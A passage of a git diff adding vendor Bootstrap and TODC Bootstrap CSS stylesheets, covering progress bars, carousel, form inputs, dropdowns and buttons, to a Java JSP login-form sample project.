100%, 100% 0, color-stop(0.25, rgba(255, 255, 255, 0.15)), color-stop(0.25, transparent), color-stop(0.5, transparent), color-stop(0.5, rgba(255, 255, 255, 0.15)), color-stop(0.75, rgba(255, 255, 255, 0.15)), color-stop(0.75, transparent), to(transparent)); + background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent); + background-image: -moz-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent); + background-image: -o-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent); + background-image: linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent); +} + +.progress-success .bar, +.progress .bar-success { + background-color: #5eb95e; + background-image: -moz-linear-gradient(top, #62c462, #57a957); + background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#62c462), to(#57a957)); + background-image: -webkit-linear-gradient(top, #62c462, #57a957); + background-image: -o-linear-gradient(top, #62c462, #57a957); + background-image: linear-gradient(to bottom, #62c462, #57a957); + background-repeat: repeat-x; + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff62c462', endColorstr='#ff57a957', GradientType=0); +} + +.progress-success.progress-striped .bar, +.progress-striped .bar-success { + background-color: #62c462; + background-image: -webkit-gradient(linear, 0 100%, 100% 0, color-stop(0.25, rgba(255, 255, 255, 0.15)), color-stop(0.25, transparent), color-stop(0.5, transparent), color-stop(0.5, rgba(255, 255, 255, 0.15)), color-stop(0.75, rgba(255, 255, 255, 0.15)), color-stop(0.75, transparent), to(transparent)); + background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent); + background-image: -moz-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent); + background-image: -o-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent); + background-image: linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent); +} + +.progress-info .bar, +.progress .bar-info { + background-color: #4bb1cf; + background-image: -moz-linear-gradient(top, #5bc0de, #339bb9); + background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#5bc0de), to(#339bb9)); + background-image: -webkit-linear-gradient(top, #5bc0de, #339bb9); + background-image: -o-linear-gradient(top, #5bc0de, #339bb9); + background-image: linear-gradient(to bottom, #5bc0de, #339bb9); + background-repeat: repeat-x; + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff5bc0de', endColorstr='#ff339bb9', GradientType=0); +} + +.progress-info.progress-striped .bar, +.progress-striped .bar-info { + background-color: #5bc0de; + background-image: -webkit-gradient(linear, 0 100%, 100% 0, color-stop(0.25, rgba(255, 255, 255, 0.15)), color-stop(0.25, transparent), color-stop(0.5, transparent), color-stop(0.5, rgba(255, 255, 255, 0.15)), color-stop(0.75, rgba(255, 255, 255, 0.15)), color-stop(0.75, transparent), to(transparent)); + background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent); + background-image: -moz-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent); + background-image: -o-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent); + background-image: linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent); +} + +.progress-warning .bar, +.progress .bar-warning { + background-color: #faa732; + background-image: -moz-linear-gradient(top, #fbb450, #f89406); + background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#fbb450), to(#f89406)); + background-image: -webkit-linear-gradient(top, #fbb450, #f89406); + background-image: -o-linear-gradient(top, #fbb450, #f89406); + background-image: linear-gradient(to bottom, #fbb450, #f89406); + background-repeat: repeat-x; + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fffbb450', endColorstr='#fff89406', GradientType=0); +} + +.progress-warning.progress-striped .bar, +.progress-striped .bar-warning { + background-color: #fbb450; + background-image: -webkit-gradient(linear, 0 100%, 100% 0, color-stop(0.25, rgba(255, 255, 255, 0.15)), color-stop(0.25, transparent), color-stop(0.5, transparent), color-stop(0.5, rgba(255, 255, 255, 0.15)), color-stop(0.75, rgba(255, 255, 255, 0.15)), color-stop(0.75, transparent), to(transparent)); + background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent); + background-image: -moz-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent); + background-image: -o-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent); + background-image: linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent); +} + +.accordion { + margin-bottom: 20px; +} + +.accordion-group { + margin-bottom: 2px; + border: 1px solid #e5e5e5; + -webkit-border-radius: 4px; + -moz-border-radius: 4px; + border-radius: 4px; +} + +.accordion-heading { + border-bottom: 0; +} + +.accordion-heading .accordion-toggle { + display: block; + padding: 8px 15px; +} + +.accordion-toggle { + cursor: pointer; +} + +.accordion-inner { + padding: 9px 15px; + border-top: 1px solid #e5e5e5; +} + +.carousel { + position: relative; + margin-bottom: 20px; + line-height: 1; +} + +.carousel-inner { + position: relative; + width: 100%; + overflow: hidden; +} + +.carousel-inner > .item { + position: relative; + display: none; + -webkit-transition: 0.6s ease-in-out left; + -moz-transition: 0.6s ease-in-out left; + -o-transition: 0.6s ease-in-out left; + transition: 0.6s ease-in-out left; +} + +.carousel-inner > .item > img, +.carousel-inner > .item > a > img { + display: block; + line-height: 1; +} + +.carousel-inner > .active, +.carousel-inner > .next, +.carousel-inner > .prev { + display: block; +} + +.carousel-inner > .active { + left: 0; +} + +.carousel-inner > .next, +.carousel-inner > .prev { + position: absolute; + top: 0; + width: 100%; +} + +.carousel-inner > .next { + left: 100%; +} + +.carousel-inner > .prev { + left: -100%; +} + +.carousel-inner > .next.left, +.carousel-inner > .prev.right { + left: 0; +} + +.carousel-inner > .active.left { + left: -100%; +} + +.carousel-inner > .active.right { + left: 100%; +} + +.carousel-control { + position: absolute; + top: 40%; + left: 15px; + width: 40px; + height: 40px; + margin-top: -20px; + font-size: 60px; + font-weight: 100; + line-height: 30px; + color: #ffffff; + text-align: center; + background: #222222; + border: 3px solid #ffffff; + -webkit-border-radius: 23px; + -moz-border-radius: 23px; + border-radius: 23px; + opacity: 0.5; + filter: alpha(opacity=50); +} + +.carousel-control.right { + right: 15px; + left: auto; +} + +.carousel-control:hover, +.carousel-control:focus { + color: #ffffff; + text-decoration: none; + opacity: 0.9; + filter: alpha(opacity=90); +} + +.carousel-indicators { + position: absolute; + top: 15px; + right: 15px; + z-index: 5; + margin: 0; + list-style: none; +} + +.carousel-indicators li { + display: block; + float: left; + width: 10px; + height: 10px; + margin-left: 5px; + text-indent: -999px; + background-color: #ccc; + background-color: rgba(255, 255, 255, 0.25); + border-radius: 5px; +} + +.carousel-indicators .active { + background-color: #fff; +} + +.carousel-caption { + position: absolute; + right: 0; + bottom: 0; + left: 0; + padding: 15px; + background: #333333; + background: rgba(0, 0, 0, 0.75); +} + +.carousel-caption h4, +.carousel-caption p { + line-height: 20px; + color: #ffffff; +} + +.carousel-caption h4 { + margin: 0 0 5px; +} + +.carousel-caption p { + margin-bottom: 0; +} + +.hero-unit { + padding: 60px; + margin-bottom: 30px; + font-size: 18px; + font-weight: 200; + line-height: 30px; + color: inherit; + background-color: #eeeeee; + -webkit-border-radius: 6px; + -moz-border-radius: 6px; + border-radius: 6px; +} + +.hero-unit h1 { + margin-bottom: 0; + font-size: 60px; + line-height: 1; + letter-spacing: -1px; + color: inherit; +} + +.hero-unit li { + line-height: 30px; +} + +.pull-right { + float: right; +} + +.pull-left { + float: left; +} + +.hide { + display: none; +} + +.show { + display: block; +} + +.invisible { + visibility: hidden; +} + +.affix { + position: fixed; +} diff --git a/Java/UsingSQL/JSPLoginForm/src/main/webapp/css/vendor/todc-bootstrap.css b/Java/UsingSQL/JSPLoginForm/src/main/webapp/css/vendor/todc-bootstrap.css new file mode 100644 index 000000000..f556654b2 --- /dev/null +++ b/Java/UsingSQL/JSPLoginForm/src/main/webapp/css/vendor/todc-bootstrap.css @@ -0,0 +1,2542 @@ +/*! + * TODC Bootstrap + * + * This CSS is intended to be used on top of Twitter Bootstrap, to theme + * it in the Google style. + * + * Constructed by Tim O'Donnell (http://github.com/todc) + */ +.clearfix { + *zoom: 1; +} +.clearfix:before, +.clearfix:after { + display: table; + content: ""; + line-height: 0; +} +.clearfix:after { + clear: both; +} +.hide-text { + font: 0/0 a; + color: transparent; + text-shadow: none; + background-color: transparent; + border: 0; +} +.input-block-level { + display: block; + width: 100%; + min-height: 30px; + -webkit-box-sizing: border-box; + -moz-box-sizing: border-box; + box-sizing: border-box; +} +body { + font-family: Arial, Helvetica, sans-serif; + font-size: 13px; + line-height: 20px; + color: #333333; + background-color: #ffffff; +} +.img-rounded { + -webkit-border-radius: 4px; + -moz-border-radius: 4px; + border-radius: 4px; +} +.img-polaroid { + padding: 0; + background-color: #fff; + border: 3px solid #FFFFFF; + -webkit-box-shadow: 0 0 0 1px #aaaaaa; + -moz-box-shadow: 0 0 0 1px #aaaaaa; + box-shadow: 0 0 0 1px #aaaaaa; +} +a.img-polaroid:hover { + border-color: #FFFFFF; + -webkit-box-shadow: 0 0 0 1px #dedede; + -moz-box-shadow: 0 0 0 1px #dedede; + box-shadow: 0 0 0 1px #dedede; +} +select, +textarea, +input[type="text"], +input[type="password"], +input[type="datetime"], +input[type="datetime-local"], +input[type="date"], +input[type="month"], +input[type="time"], +input[type="week"], +input[type="number"], +input[type="email"], +input[type="url"], +input[type="search"], +input[type="tel"], +input[type="color"], +.uneditable-input { + padding: 4px 8px; + font-size: 13px; + -webkit-border-radius: 1px; + -moz-border-radius: 1px; + border-radius: 1px; +} +input, +textarea { + width: 210px; +} +textarea { + padding-right: 4px; +} +textarea, +input[type="text"], +input[type="password"], +input[type="datetime"], +input[type="datetime-local"], +input[type="date"], +input[type="month"], +input[type="time"], +input[type="week"], +input[type="number"], +input[type="email"], +input[type="url"], +input[type="search"], +input[type="tel"], +input[type="color"], +.uneditable-input { + border: 1px solid #d9d9d9; + border-top-color: #c0c0c0; + -webkit-box-shadow: none; + -moz-box-shadow: none; + box-shadow: none; + -webkit-transition: none; + -moz-transition: none; + -o-transition: none; + transition: none; +} +textarea:hover, +input[type="text"]:hover, +input[type="password"]:hover, +input[type="datetime"]:hover, +input[type="datetime-local"]:hover, +input[type="date"]:hover, +input[type="month"]:hover, +input[type="time"]:hover, +input[type="week"]:hover, +input[type="number"]:hover, +input[type="email"]:hover, +input[type="url"]:hover, +input[type="search"]:hover, +input[type="tel"]:hover, +input[type="color"]:hover, +.uneditable-input:hover { + border: 1px solid #b9b9b9; + border-top-color: #a0a0a0; + -webkit-box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.1); + -moz-box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.1); + box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.1); +} +textarea:focus, +input[type="text"]:focus, +input[type="password"]:focus, +input[type="datetime"]:focus, +input[type="datetime-local"]:focus, +input[type="date"]:focus, +input[type="month"]:focus, +input[type="time"]:focus, +input[type="week"]:focus, +input[type="number"]:focus, +input[type="email"]:focus, +input[type="url"]:focus, +input[type="search"]:focus, +input[type="tel"]:focus, +input[type="color"]:focus, +.uneditable-input:focus { + outline: 0 \9; + border-color: #4d90fe; + -webkit-box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.3); + -moz-box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.3); + box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.3); + -webkit-transition: none; + -moz-transition: none; + -o-transition: none; + transition: none; +} +input[type="checkbox"], +input[type="radio"] { + -webkit-appearance: none; + appearance: none; + width: 13px; + height: 13px; + background: white; + border: 1px solid #dcdcdc; + -webkit-border-radius: 1px; + -moz-border-radius: 1px; + border-radius: 1px; + -webkit-box-sizing: border-box; + -moz-box-sizing: border-box; + box-sizing: border-box; + position: relative; + box-sizing: content-box \9; + width: 16px \9; + height: 16px \9; + border-width: 0 \9; +} +input[type="radio"] { + -webkit-border-radius: 1em; + -moz-border-radius: 1em; + border-radius: 1em; + width: 15px; + height: 15px; +} +input[type="checkbox"]:hover { + border-color: #c6c6c6; + -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.1); + -moz-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.1); + box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.1); + box-shadow: none \9; +} +input[type="checkbox"]:active, +input[type="radio"]:active { + border-color: #c6c6c6; + background-color: #ebebeb; + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffffff', endColorstr='#ffffffff', GradientType=0); +} +input[type="checkbox"]:checked, +input[type="radio"]:checked { + background: #fff; +} +input[type="checkbox"]:checked::after { + content: url(../../img/vendor/checkmark.png); + display: block; + position: absolute; + top: -6px; + left: -5px; +} +input[type="radio"]:checked::after { + content: ''; + display: block; + position: relative; + top: 3px; + left: 3px; + width: 7px; + height: 7px; + background: #666; + -webkit-border-radius: 1em; + -moz-border-radius: 1em; + border-radius: 1em; +} +input[type="checkbox"]:focus, +input[type="radio"]:focus { + outline: none; + border-color: #4d90fe; +} +input[disabled], +select[disabled], +textarea[disabled] { + cursor: not-allowed; + border: 1px solid #e5e5e5; + background: #f1f1f1; +} +input[disabled]:hover, +select[disabled]:hover, +textarea[disabled]:hover { + -webkit-box-shadow: none; + -moz-box-shadow: none; + box-shadow: none; +} +input[readonly], +select[readonly], +textarea[readonly] { + cursor: not-allowed; + border: 1px solid #d9d9d9; +} +input[readonly]:hover, +select[readonly]:hover, +textarea[readonly]:hover, +input[readonly]:focus, +select[readonly]:focus, +textarea[readonly]:focus { + -webkit-box-shadow: none; + -moz-box-shadow: none; + box-shadow: none; +} +.input-prepend input, +.input-prepend select, +.input-prepend .uneditable-input { + -webkit-border-radius: 0 1px 1px 0; + -moz-border-radius: 0 1px 1px 0; + border-radius: 0 1px 1px 0; +} +.input-append input, +.input-append select, +.input-append .uneditable-input { + -webkit-border-radius: 1px 0 0 1px; + -moz-border-radius: 1px 0 0 1px; + border-radius: 1px 0 0 1px; +} +.input-prepend.input-append input, +.input-prepend.input-append select, +.input-prepend.input-append .uneditable-input { + -webkit-border-radius: 0; + -moz-border-radius: 0; + border-radius: 0; +} +input:focus:required:invalid, +textarea:focus:required:invalid, +select:focus:required:invalid { + color: #b94a48; + border-color: #ee5f5b; +} +input:focus:required:invalid:focus, +textarea:focus:required:invalid:focus, +select:focus:required:invalid:focus { + border-color: #4d90fe; + -webkit-box-shadow: 0; + -moz-box-shadow: 0; + box-shadow: 0; +} +.form-search input, +.form-inline input, +.form-horizontal input, +.form-search textarea, +.form-inline textarea, +.form-horizontal textarea, +.form-search select, +.form-inline select, +.form-horizontal select, +.form-search .help-inline, +.form-inline .help-inline, +.form-horizontal .help-inline, +.form-search .uneditable-input, +.form-inline .uneditable-input, +.form-horizontal .uneditable-input, +.form-search .input-prepend, +.form-inline .input-prepend, +.form-horizontal .input-prepend, +.form-search .input-append, +.form-inline .input-append, +.form-horizontal .input-append { + display: inline-block; + *display: inline; + /* IE7 inline-block hack */ + + *zoom: 1; + margin-bottom: 0; +} +.form-search .hide, +.form-inline .hide, +.form-horizontal .hide { + display: none; +} +.table-hover tbody tr:hover td, +.table-hover tbody tr:hover th { + background-color: #ffffd6; +} +.table tbody tr.success td { + background-color: #dff0d8; +} +.table tbody tr.error td { + background-color: #f2dede; +} +.table tbody tr.warning td { + background-color: #f9edbe; +} +.table tbody tr.info td { + background-color: #d9edf7; +} +.table-hover tbody tr.success:hover td { + background-color: #d0e9c6; +} +.table-hover tbody tr.error:hover td { + background-color: #ebcccc; +} +.table-hover tbody tr.warning:hover td { + background-color: #f7e7a7; +} +.table-hover tbody tr.info:hover td { + background-color: #c4e3f3; +} +.disabled > [class^="icon-"] { + opacity: 0.5; + filter: alpha(opacity=50); +} +/* Override ßsome of the values in Bootstrap +/* White icons with optional class, or on hover/active states of certain elements */ +.nav-list > .active > a > [class^="icon-"], +.nav-list > .active > a > [class*=" icon-"], +.dropdown-menu > li > a:hover > [class^="icon-"], +.dropdown-menu > li > a:hover > [class*=" icon-"], +.dropdown-menu > .active > a > [class^="icon-"], +.dropdown-menu > .active > a > [class*=" icon-"], +.dropdown-submenu:hover > a > [class^="icon-"], +.dropdown-submenu:hover > a > [class*=" icon-"] { + background-image: url("../img/glyphicons-halflings.png"); +} +.dropdown-menu { + position: absolute; + top: 100%; + left: 0; + z-index: 1000; + display: none; + float: left; + min-width: 160px; + padding: 0 0 6px 0; + margin: 1px 0 0; + list-style: none; + background-color: #ffffff; + border: 1px solid #ccc; + border: 1px solid rgba(0, 0, 0, 0.2); + *border-right-width: 2px; + *border-bottom-width: 2px; + -webkit-border-radius: 0; + -moz-border-radius: 0; + border-radius: 0; + -webkit-box-shadow: 0 2px 4px rgba(0, 0, 0, 0.2); + -moz-box-shadow: 0 2px 4px rgba(0, 0, 0, 0.2); + box-shadow: 0 2px 4px rgba(0, 0, 0, 0.2); + -webkit-background-clip: padding-box; + -moz-background-clip: padding; + background-clip: padding-box; +} +.dropdown-menu.pull-right { + right: 0; + left: auto; +} +.dropdown-menu .divider { + margin: 9px 1px; + *width: 100%; + height: 1px; + margin: 9px 0; + *margin: -5px 0 5px; + overflow: hidden; + background-color: #ebebeb; + border-bottom: 1px solid #ffffff; +} +.dropdown-menu li > a { + padding: 3px 30px; + position: relative; +} +.dropdown-menu li > a i { + position: absolute; + left: 7px; + top: 4px; +} +.dropdown-menu li > a:hover, +.dropdown-menu li > a:focus, +.dropdown-submenu:hover > a { + color: #333333; + background-color: #eeeeee; + background-image: -moz-linear-gradient(top, #eeeeee, #eeeeee); + background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#eeeeee), to(#eeeeee)); + background-image: -webkit-linear-gradient(top, #eeeeee, #eeeeee); + background-image: -o-linear-gradient(top, #eeeeee, #eeeeee); + background-image: linear-gradient(to bottom, #eeeeee, #eeeeee); + background-repeat: repeat-x; + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffeeeeee', endColorstr='#ffeeeeee', GradientType=0); +} +.dropdown-menu .active > a, +.dropdown-menu .active > a:hover { + color: #333333; + background-color: #eeeeee; + background-image: -moz-linear-gradient(top, #eeeeee, #eeeeee); + background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#eeeeee), to(#eeeeee)); + background-image: -webkit-linear-gradient(top, #eeeeee, #eeeeee); + background-image: -o-linear-gradient(top, #eeeeee, #eeeeee); + background-image: linear-gradient(to bottom, #eeeeee, #eeeeee); + background-repeat: repeat-x; + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffeeeeee', endColorstr='#ffeeeeee', GradientType=0); +} +.open { + *z-index: 1000; +} +.open > .dropdown-menu { + display: block; +} +.dropdown-submenu > .dropdown-menu { + -webkit-border-radius: 0; + -moz-border-radius: 0; + border-radius: 0; +} +.dropup .dropdown-submenu > .dropdown-menu { + -webkit-border-radius: 0; + -moz-border-radius: 0; + border-radius: 0; +} +.dropdown-submenu > a:after { + border-left-color: #808080; + margin-right: -20px; +} +.dropdown-submenu:hover > a:after { + border-left-color: #000000; +} +.dropdown-submenu.pull-left > .dropdown-menu { + -webkit-border-radius: 0; + -moz-border-radius: 0; + border-radius: 0; + margin-left: 18px; +} +.typeahead { + -webkit-border-radius: 0; + -moz-border-radius: 0; + border-radius: 0; +} +.well { + background-color: #f1f1f1; + border: 1px solid #e5e5e5; + -webkit-border-radius: 0; + -moz-border-radius: 0; + border-radius: 0; + -webkit-box-shadow: none; + -moz-box-shadow: none; + box-shadow: none; +} +.well-large { + -webkit-border-radius: 0; + -moz-border-radius: 0; + border-radius: 0; +} +.well-small { + -webkit-border-radius: 0; + -moz-border-radius: 0; + border-radius: 0; +} +.scrollable::-webkit-scrollbar { + height: 16px; + width: 10px; +} +.scrollable::-webkit-scrollbar-button:start:decrement, +.scrollable::-webkit-scrollbar-button:end:increment { + background-color: transparent; + display: block; + height: 0; +} +.scrollable::-webkit-scrollbar-track { + background-clip: padding-box; + border: solid + transparent; + border-width: 0 0 0 4px; +} +.scrollable::-webkit-scrollbar-track-piece { + background-color: transparent; + -webkit-border-radius: 0; + -moz-border-radius: 0; + border-radius: 0; +} +.scrollable::-webkit-scrollbar:hover { + background-color: #f3f3f3; + border: 1px solid #dbdbdb; +} +.scrollable::-webkit-scrollbar-thumb:vertical, +.scrollable::-webkit-scrollbar-thumb:horizontal { + background-color: #c6c6c6; + -webkit-border-radius: 0; + -moz-border-radius: 0; + border-radius: 0; +} +.scrollable::-webkit-scrollbar-thumb { + background-color: rgba(0, 0, 0, 0.2); + border: solid transparent; + border-width: 0; + -webkit-box-shadow: inset 1px 1px 0 rgba(0,0,0,0.10),inset 0 -1px 0 rgba(0,0,0,0.07); + -moz-box-shadow: inset 1px 1px 0 rgba(0,0,0,0.10),inset 0 -1px 0 rgba(0,0,0,0.07); + box-shadow: inset 1px 1px 0 rgba(0,0,0,0.10),inset 0 -1px 0 rgba(0,0,0,0.07); + background-clip: padding-box; +} +.scrollable::-webkit-scrollbar-thumb:hover { + background-color: #949494; +} +.scrollable::-webkit-scrollbar-thumb:active { + background-color: rgba(0, 0, 0, 0.5); + -webkit-box-shadow: inset 1px 1px 3px rgba(0, 0, 0, 0.35); + -moz-box-shadow: inset 1px 1px 3px rgba(0, 0, 0, 0.35); + box-shadow: inset 1px 1px 3px rgba(0, 0, 0, 0.35); +} +.btn { + position: relative; + padding: 4px 12px; + margin: 0; + color: #333; + text-shadow: 0 1px 0 #fff; + white-space: nowrap; + font-family: Arial, Helvetica, sans-serif; + font-weight: bold; + font-size: 13px; + text-align: center; + vertical-align: middle; + -webkit-background-clip: padding; + -moz-background-clip: padding; + background-clip: padding; + cursor: default; + background-color: #f3f3f3; + background-image: -moz-linear-gradient(top, #f5f5f5, #f1f1f1); + background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#f5f5f5), to(#f1f1f1)); + background-image: -webkit-linear-gradient(top, #f5f5f5, #f1f1f1); + background-image: -o-linear-gradient(top, #f5f5f5, #f1f1f1); + background-image: linear-gradient(to bottom, #f5f5f5, #f1f1f1); + background-repeat: repeat-x; + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff5f5f5', endColorstr='#fff1f1f1', GradientType=0); + border: 1px solid #dcdcdc; + -webkit-border-radius: 2px; + -moz-border-radius: 2px; + border-radius: 2px; + -webkit-box-shadow: none; + -moz-box-shadow: none; + box-shadow: none; +} +.btn:hover { + text-shadow: none; + border-color: #c6c6c6; + -webkit-box-shadow: 0 1px 1px rgba(0, 0, 0, 0.1); + -moz-box-shadow: 0 1px 1px rgba(0, 0, 0, 0.1); + box-shadow: 0 1px 1px rgba(0, 0, 0, 0.1); + background-color: #f5f5f5; + background-image: -moz-linear-gradient(top, #f8f8f8, #f1f1f1); + background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#f8f8f8), to(#f1f1f1)); + background-image: -webkit-linear-gradient(top, #f8f8f8, #f1f1f1); + background-image: -o-linear-gradient(top, #f8f8f8, #f1f1f1); + background-image: linear-gradient(to bottom, #f8f8f8, #f1f1f1); + background-repeat: repeat-x; + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff8f8f8', endColorstr='#fff1f1f1', GradientType=0); + background-position: 0 0; + -webkit-transition: none; + -moz-transition: none; + -o-transition: none; + transition: none; +} +.btn.active, +.btn:active { + background-image: none; + outline: 0; + background: #e8e8e8; + -webkit-box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.1); + -moz-box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.1); + box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.1); + background-color: #f4f4f4; + background-image: -moz-linear-gradient(top, #f6f6f6, #f1f1f1); + background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#f6f6f6), to(#f1f1f1)); + background-image: -webkit-linear-gradient(top, #f6f6f6, #f1f1f1); + background-image: -o-linear-gradient(top, #f6f6f6, #f1f1f1); + background-image: linear-gradient(to bottom, #f6f6f6, #f1f1f1); + background-repeat: repeat-x; + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff6f6f6', endColorstr='#fff1f1f1', GradientType=0); +} +.btn.disabled, +.btn.disabled:hover, +.btn.disabled:active, +.btn.disabled.active, +.btn.disabled:focus, +.btn[disabled], +.btn[disabled]:hover, +.btn[disabled]:active, +.btn[disabled].active, +.btn[disabled]:focus { + border: 1px solid #dcdcdc; + background-color: #f3f3f3; + background-image: -moz-linear-gradient(top, #f5f5f5, #f1f1f1); + background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#f5f5f5), to(#f1f1f1)); + background-image: -webkit-linear-gradient(top, #f5f5f5, #f1f1f1); + background-image: -o-linear-gradient(top, #f5f5f5, #f1f1f1); + background-image: linear-gradient(to bottom, #f5f5f5, #f1f1f1); + background-repeat: repeat-x; + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff5f5f5', endColorstr='#fff1f1f1', GradientType=0); + -webkit-box-shadow: none; + -moz-box-shadow: none; + box-shadow: none; + text-shadow: none; +} +.btn:focus { + /* Blue border on button focus. */ + + border-color: #4d90fe; + outline-style: none; + background-color: #f3f3f3; +} +.btn-large { + padding: 9px 14px; + font-size: 14px; + line-height: normal; +} +.btn-large [class^="icon-"], +.btn-large [class*=" icon-"] { + margin-top: 1px; +} +.btn-small { + padding: 5px 9px; + font-size: 12px; + line-height: 15px; +} +.btn-mini { + padding: 2px 6px; + font-size: 11px; + line-height: 13px; +} +.btn-primary, +.btn-primary:hover, +.btn-warning, +.btn-warning:hover, +.btn-danger, +.btn-danger:hover, +.btn-success, +.btn-success:hover, +.btn-info, +.btn-info:hover, +.btn-inverse, +.btn-inverse:hover { + color: #ffffff; + text-shadow: 0 1px rgba(0, 0, 0, 0.1); +} +.btn-primary:hover, +.btn-warning:hover, +.btn-danger:hover, +.btn-success:hover, +.btn-info:hover, +.btn-inverse:hover { + -webkit-box-shadow: 0 1px 1px rgba(0, 0, 0, 0.2); + -moz-box-shadow: 0 1px 1px rgba(0, 0, 0, 0.2); + box-shadow: 0 1px 1px rgba(0, 0, 0, 0.2); +} +.btn-primary:active, +.btn-primary.active, +.btn-warning:active, +.btn-warning.active, +.btn-danger:active, +.btn-danger.active, +.btn-success:active, +.btn-success.active, +.btn-info:active, +.btn-info.active, +.btn-inverse:active, +.btn-inverse.active { + -webkit-box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.3); + -moz-box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.3); + box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.3); +} +.btn-primary.active, +.btn-primary:active, +.btn-primary:hover, +.btn-warning.active, +.btn-warning:active, +.btn-warning:hover, +.btn-danger.active, +.btn-danger:active, +.btn-danger:hover, +.btn-success.active, +.btn-success:active, +.btn-success:hover, +.btn-info.active, +.btn-info:active, +.btn-info:hover, +.btn-inverse.active, +.btn-inverse:active, +.btn-inverse:hover { + color: white; + text-shadow: 0 1px rgba(0, 0, 0, 0.3); +} +.btn-primary { + border: 1px solid #3079ed; + color: #ffffff; + background-color: #4b8cf7; + background-image: -moz-linear-gradient(top, #4d90fe, #4787ed); + background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#4d90fe), to(#4787ed)); + background-image: -webkit-linear-gradient(top, #4d90fe, #4787ed); + background-image: -o-linear-gradient(top, #4d90fe, #4787ed); + background-image: linear-gradient(to bottom, #4d90fe, #4787ed); + background-repeat: repeat-x; + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff4d90fe', endColorstr='#ff4787ed', GradientType=0); + *background-color: #4d90fe; + filter: progid:DXImageTransform.Microsoft.gradient(enabled = false); +} +.btn-primary:hover, 